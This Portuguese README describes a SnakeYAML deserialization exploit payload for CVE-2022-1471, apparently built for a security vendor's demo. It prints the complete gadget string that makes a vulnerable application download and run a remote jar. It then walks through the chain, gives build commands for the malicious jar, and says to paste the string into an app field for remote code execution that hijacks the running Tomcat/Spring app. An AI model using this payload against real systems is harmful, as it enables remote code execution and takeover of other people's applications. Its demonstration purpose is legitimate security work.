yaml-payload

Um payload de exploração de desserialização SnakeYAML para CVE-2022-1471, adaptado de artsploit/yaml-payload (originalmente baseado em mbechler/marshalsec).

O que faz

Quando carregado via Yaml.load() inseguro do SnakeYAML, este payload assume o controle do aplicativo em execução e o substitui por uma página "You've Been PWNED":

1. Injeta uma Válvula Tomcat no aplicativo Spring Boot em execução via reflexão, sequestrando a porta 8080 existente — a mesma URL (incluindo qualquer túnel ngrok) agora serve a página PWNED
2. Redireciona automaticamente o navegador — a resposta POST envia um redirecionamento 302, então o navegador carrega imediatamente a página PWNED sem uma atualização manual
3. Abre o navegador automaticamente para a URL correta (URL pública do ngrok se disponível, caso contrário localhost:8080)
4. Imprime evidências de exploração no console/logs de CI

Se a injeção de Válvula Tomcat não estiver disponível (por exemplo, aplicativo não-Spring), ele recorre a iniciar um servidor HTTP independente na porta 9999 e cria automaticamente um túnel ngrok se o ngrok estiver em execução.

Isso funciona tanto localmente no macOS quanto em pipelines CI/CD (por exemplo, GitHub Actions no Ubuntu).

Como funciona a cadeia de exploração

O payload SnakeYAML aciona o ScriptEngineManager via SPI (Interface de Provedor de Serviço) Java:

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]

1. SnakeYAML instancia java.net.URL apontando para o yaml-payload.jar deste repositório
2. Envolve-o em um URLClassLoader para carregar classes remotas
3. ScriptEngineManager descobre e carrega AwesomeScriptEngineFactory via META-INF/services/javax.script.ScriptEngineFactory
4. O construtor da fábrica injeta uma Válvula no pipeline do Tomcat em execução, substituindo cada resposta subsequente em / pela página PWNED

Compilação

Requer JDK 17+:

javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..

Uso

Usado como payload de exploração no projeto maven-demo. Cole a string do payload no campo de nome do aplicativo para acionar o RCE. A página do aplicativo será substituída pela página PWNED na próxima solicitação. Veja o README desse repositório para instruções completas da demonstração.